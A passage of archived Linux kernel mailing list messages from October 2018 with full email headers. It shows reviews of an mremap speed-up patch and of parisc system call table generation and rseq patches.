> Before:
> Total mremap time for 1GB data: 242321014 nanoseconds.
> Total mremap time for 1GB data: 196842467 nanoseconds.
> Total mremap time for 1GB data: 167051162 nanoseconds.
> 
> After:
> Total mremap time for 1GB data: 385781 nanoseconds.
> Total mremap time for 1GB data: 388959 nanoseconds.
> Total mremap time for 1GB data: 402813 nanoseconds.
> 
> Incase THP is enabled, the optimization is skipped. I also flush the
> tlb every time we do this optimization since I couldn't find a way to
> determine if the low-level PTEs are dirty. It is seen that the cost of
> doing so is not much compared the improvement, on both x86-64 and arm64.

I looked into the code more and noticed move_pte() helper called from
move_ptes(). It changes PTE entry to suite new address.

It is only defined in non-trivial way on Sparc. I don't know much about
Sparc and it's hard for me to say if the optimization will break anything
there.

I think it worth to disable the optimization if __HAVE_ARCH_MOVE_PTE is
defined. Or make architectures state explicitely that the optimization is
safe.

> @@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
>  			split_huge_pmd(vma, old_pmd, old_addr);
>  			if (pmd_trans_unstable(old_pmd))
>  				continue;
> +		} else if (extent == PMD_SIZE) {

Hm. What guarantees that new_addr is PMD_SIZE-aligned?
It's not obvious to me.

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 14:36:45 +0300
Lines: 15
Approved: news@gmane.org
Message-ID: <20181012113644.meqy5yb3xrxyh6lh@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539344114 28103 195.159.176.226 (12 Oct 2018 11:35:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 11:35:14 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 13:35:04 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAvii-00077x-8l
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 13:35:04 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Dks/rym0tfhS4WaWZE/Pe5AXrXAIRVZxa2FDYIUcEqI=; b=Z0cCzxcgsmNV0N
	9y+ibDYAcatiCUfWTxG6bESgayL8BUik8hownD2ztWHsk/do6Fr/+MKnkxssuuZynhU5g75M0afBV
	yRvamCV2Nhzs8ndOcUzNGwhZsN9JknV/dWtlle6W+Qx7BMEi8XufH53v3lCZJSbWGwkAyiH4UkR/J
	cUggoi0EotDQUVcdOEXRpo80802E93PK7qaGtk8jCUdxl8Kz4gAbusQNG+O0i3r+TGyGkjY4a1F3m
	vkfJwfGQgjgut4cnH4r0ZXKf+0o5Qwsee54M57u+fm66bbqQj38g0/pgqTR+4pcGlL7Vl0v2cuMf+
	UGf31v79IQwbeAyUt89g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAvkn-0002L3-Hj; Fri, 12 Oct 2018 11:37:13 +0000
Original-Received: from mail-pg1-x543.google.com ([2607:f8b0:4864:20::543])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAvkb-0002Gl-A1
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 11:37:11 +0000
Original-Received: by mail-pg1-x543.google.com with SMTP id 80-v6so5723002pgh.10
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 04:36:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=RUBKeYPll4jMLSN3Gb+udTJXKfzopX9w+dug7aYTr/k=;
 b=sLllf+hmYeVdtEKLgpvUk4uo/R65gqQ2L7zDPqofo15O4TD2lqqZ48BnJii3zNLrzj
 NyrHzrmlo5M8BFAgDiAnDSzFkH/4pCMx41PDkn9KakXzyWFHzbatjJl7tG6M3QlRWbCb
 PxniswSJvBlL+/pLj7KZtuZCCp2I33/xGPiDrmpqGjXDRkvRlkWGmyBycB9Rzb7E6Zs2
 L7OGkByZKFBctGsWJmvbk2lLkFhYwnI954eYYA9mDD2xDlJKx5AIfd14wPbV5Zu/imuW
 2GvR+0yYrS49d3VwMQPPTufF89rOzatfQb3FsyMC/zTNqHmMQ6U+r5c6uWOkB0vCTRFN
 mXmw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=RUBKeYPll4jMLSN3Gb+udTJXKfzopX9w+dug7aYTr/k=;
 b=JUoeTVnXqZ3leIFi+EH8jC/TOqQIQg0Vu2scrx5egLQxcPNQYkxgTwh2IlgRQlyylW
 H8zGhE6aI40kPcjRmznB+UBpEwBeaX1Otu6WoERAolGfe7KGJUS1lswhSl9cT23IG3Ik
 THWa4WxA0UyFIjggZOnh96Ot+BF+NEM3C8RYWQ8D6uN02hObv+SzafPDj5Xct6zC9Xcs
 OM2LVrgnETaz3Tsiz66LvuOPcmGcCpigcJFuoCoZXKcIZSkdet6Sec6wJB9lr5mx+TTO
 zNitVT8plCf0/9rCfqs/cXkktBC4iUjhQQuaP5R6EBCo/+ewfwhaJhZyhVX1O8Vkw9zC
 +pFA==
X-Gm-Message-State: ABuFfohALfgMj2aAb6JIQUndXr1wqzwpJD697Yt+LvCHe4LEunE4bCT4
 9s0H7auNiBvjDpeuRVcCZKHcIw==
X-Google-Smtp-Source: ACcGV60LchXUm+4bueEbZ+6bNEGISqX12eR/mS25M3eC4m93W+yAf1Gp0Al5g3J7F1KCwHaUiWlf2A==
X-Received: by 2002:a63:2a11:: with SMTP id
 q17-v6mr5201085pgq.374.1539344210379; 
 Fri, 12 Oct 2018 04:36:50 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([134.134.139.82])
 by smtp.gmail.com with ESMTPSA id o2-v6sm3561853pgi.62.2018.10.12.04.36.48
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 04:36:49 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 60154300030; Fri, 12 Oct 2018 14:36:45 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_043701_408559_39498CDD 
X-CRM114-Status: GOOD (  10.42  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:543 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4518 gmane.linux.ports.mips.general:67033 gmane.linux.ports.ia64:29369 gmane.linux.ports.sh.devel:57618 gmane.linux.kernel.mm:205129 gmane.linux.ports.sparc:28539 gmane.linux.ports.riscv:1037 gmane.linux.ports.hexagon:1893 gmane.comp.emulators.kvm.arm.devel:19398 gmane.linux.ports.arm.kernel:679296 gmane.linux.ports.parisc:29140 gmane.linux.kernel:2897527 gmane.linux.ports.alpha:5294 gmane.linux.ports.ppc64.devel:164138
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4518>

On Fri, Oct 12, 2018 at 02:30:56PM +0300, Kirill A. Shutemov wrote:
> On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> > @@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> >  			split_huge_pmd(vma, old_pmd, old_addr);
> >  			if (pmd_trans_unstable(old_pmd))
> >  				continue;
> > +		} else if (extent == PMD_SIZE) {
> 
> Hm. What guarantees that new_addr is PMD_SIZE-aligned?
> It's not obvious to me.

Ignore this :)

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 13:51:04 +0200
Lines: 100
Approved: news@gmane.org
Message-ID: <CAK8P3a1Ua0c9H006=_m=EHUufoUX5-d-m9fZcL_sF4mMJuLhkQ@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org> <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539344959 25253 195.159.176.226 (12 Oct 2018 11:49:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 11:49:19 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 13:49:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAvwP-0006Sq-Oa
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 13:49:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728321AbeJLTX1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 15:23:27 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:45065 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726699AbeJLTX1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 15:23:27 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id e10-v6so13465709qtq.12;
        Fri, 12 Oct 2018 04:51:21 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=XtCn8ZP92iUsc6yQWrJSlNbSghzGVmlgpaQ1Sp23KVk=;
        b=YK+jC4kETMd16c7kD+mQUgbIk359DwSgXy8iEswmnE2EZOR7aUqgQQr8tSp92/HXr/
         NKFLzE08jGqG5vmFfiKIbEvhpjjuf3OvZBonRDxV7pC7CfbGAu5N4v2/1NlzPvHlXxLX
         +Gtv0olt1HXJInuN0AM2+kjoZ3t0lr6BjPQyttOC3YGVUIdyYzNDQhUrAUEXPnohq0xL
         lSXiRnekRdn9D5UGlSPYLwc0HE9CjTwwmniJHH82k4rLqebK+x6AzyifrRnYLT5wzwP4
         EaL7N0VIXIiQf7HuJxfl7IxiCtG2sKAPUk1Ye/ZoHlM9XVD3W4V4dEs6uaBOGCMJGXwq
         lqfg==
X-Gm-Message-State: ABuFfogpqCbFyTViOPNkJJPhSDj9dFMFAdNvJEr9zwne1RkJUuoVn/vS
        Vk63H5m/lKROCilIxMtVefU+tLU2m2M870D7jmk=
X-Google-Smtp-Source: ACcGV60ZPZuWO/Nc9iNK93N2zA05X6s34f7ezdcFevqC4F1+jMp56JVLKMlwkglNKJdEJaO8jXkS4yY7m81758zepBM=
X-Received: by 2002:ac8:1d11:: with SMTP id d17-v6mr5241410qtl.343.1539345080789;
 Fri, 12 Oct 2018 04:51:20 -0700 (PDT)
In-Reply-To: <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897543 gmane.linux.ports.parisc:29141 gmane.linux.kernel.year-2038:3514 gmane.linux.kernel.cross-arch:47735
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897543>

On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:

> diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
> new file mode 100644
> index 0000000..a0af5a3
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/Makefile

> +syshdr_abi_unistd_32 := common,32
> +syshdr_offset_unistd_32 := __NR_Linux
> +$(uapi)/unistd_32.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +syshdr_abi_unistd_64 := common,64
> +syshdr_offset_unistd_64 := __NR_Linux
> +$(uapi)/unistd_64.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)

The __NR_Linux seems misplaced here, don't we need that only for ia64
and mips?

> +systbl_abi_syscall_table_32 := common,32
> +$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_64 := common,64
> +$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)

Have you considered making the 'common' part implied?
I expected to see it done that way, although listing it explicitly
doesn't seem harmful either.

> +systbl_abi_syscall_table_c32 := common,compat,32
> +$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)

The way you specify 'compat' as one item in a list of
ABIs seems rather odd, I'd suggest keeping that a separate
flag.

I think you can also pass arguments to 'if_changed', rather than
setting a global variable to control it.
arch/powerpc/boot/Makefile has some examples of that.
It should be possible to do this like

$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
       $(call if_changed,systbl,common|32,compat)

Passing "common|32" as the list of ABIs in the first argument,
and 'compat' as the second argument.

> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> new file mode 100644
> index 0000000..7c9f268
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
...
> +346     common  copy_file_range                 sys_copy_file_range
> +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> +349     common  statx                           sys_statx
> +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> \ No newline at end of file

Here is the missing newline again. This should never happen if your text
editor is configured correctly.

> diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
> new file mode 100644
> index 0000000..607d4ca
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> @@ -0,0 +1,35 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +prefix="$4"
> +offset="$5"
> +
> +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`

Maybe use ${ARCH} instead of PARISC here to keep it the same
across architectures?

> +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
> +    while read nr abi name entry compat ; do
> +       if [ $my_abi = "compat" ]; then

This check seems really fragile, but if you add another argument to the
script instead of listing "compat" as the second option in the
list of ABIs, I think it's fine.

        ARnd


From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 5/6] parisc: wire up rseq system call
Date: Fri, 12 Oct 2018 13:52:15 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <CAK8P3a3BjuLQh0hTPFTDTkipXXQ+j8ADqbWmNpimkMDzoORkRA@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-6-git-send-email-firoz.khan@linaro.org> <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
 <CALxhOnhj7qUj57tLX12KmbcE5G-zDK2Qf2fTUbQ=jpmiUcr52w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539345030 30837 195.159.176.226 (12 Oct 2018 11:50:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 11:50:30 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 13:50:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAvxY-0007ur-DM
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 13:50:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728503AbeJLTYh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 15:24:37 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:44369 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727816AbeJLTYh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 15:24:37 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id c56-v6so13471271qtd.11;
        Fri, 12 Oct 2018 04:52:31 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=SDq2t2cMNcJeQ0YcbIahyQwNnd6dr21sidFAAiwbO2s=;
        b=XFBSuEB9bLP0anP7YOQKPdA8NBzDu4SgXszwCk/PSvIEuDEpUA50XD/jso8T8nXJpw
         p03rwVXIwcMUWR4aecj1t8A9S+AT9CJh1nUzJO7HytSa6729idtN1uXtTvCvdcqFPU0X
         X6njZRhkIz70uwqw4yWQsFpu1KWYi0No0d7RLWgxrKUOGMzPmuHU0eogwSKhCbmsuiUg
         uEhe279XmJTUn5OQbBP6ukiTTscBKKV+DHlIjWFsUn6AxzggFhlteb5SgbkxwOQX4vTx
         fRCeqUykX6pZKZhZYU7007g1JegwGk/Pi+EFX1UYgP/0/R7LwgpAhPGJLY7d60GyYoI1
         pLXA==
X-Gm-Message-State: ABuFfojO8AHEniApF21EAtBsrAAwCG8DDiSe/1Ctc4Eqz7RhQnPUCjVF
        5TcWAe06EbzcaA3pxAYHtPGMWhzMzYmOw6edH0M=
X-Google-Smtp-Source: ACcGV60OGIneDWiadoRjHtVwFkF0WvQD+6ea5IhiaCnMx+cC7ClY/7kLVgoM4AR22irTVPjzyl922sPl/U+FwsMFOuc=
X-Received: by 2002:a0c:881c:: with SMTP id 28mr5462111qvl.40.1539345151218;
 Fri, 12 Oct 2018 04:52:31 -0700 (PDT)
In-Reply-To: <CALxhOnhj7qUj57tLX12KmbcE5G-zDK2Qf2fTUbQ=jpmiUcr52w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897546 gmane.linux.ports.parisc:29142 gmane.linux.kernel.year-2038:3515 gmane.linux.kernel.cross-arch:47736
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897546>

On Fri, Oct 12, 2018 at 12:16 PM Firoz Khan <firoz.khan@linaro.org> wrote:
>
> Hi Arnd,
>
> On Fri, 12 Oct 2018 at 15:26, Arnd Bergmann <arnd@arndb.de> wrote:
> >
> > On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > >
> > > Wire up rseq system call requires an architecture specific
> > > implementation as it not present now.
> > >
> > > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> >
> > Didn't we conclude that this should be skipped?
>
> Helge told "I prefer to keep the warning for rseq for now.
> It reminds me that we still may want the rseq syscall.
> If the warning is a problem, you may simply add the __IGNORE_rseq define."
>
> I chose this option; I feel it looks clean
> "# rseq requires an architecture specific implementation" in syscall.tbl
> hopefully remind him to add rseq syscall implementation in this architecture.
>

But he said he wants the warning instead.

     Arnd


From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 14:07:47 +0200
Lines: 127
Approved: news@gmane.org
Message-ID: <c6280818c999449646ec216984f2df9e@sf-tec.de>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539345948 2150 195.159.176.226 (12 Oct 2018 12:05:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 12:05:48 +0000 (UTC)
User-Agent: Roundcube Webmail/1.3.7
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, linux-parisc-owner@vger.kernel.org
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 14:05:43 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAwCM-0007Dy-5G
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 14:05:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728552AbeJLTkA (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 15:40:00 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:37399 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1728040AbeJLTkA (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 15:40:00 -0400
Original-Received: (qmail 6568 invoked from network); 12 Oct 2018 12:07:49 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:50458 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
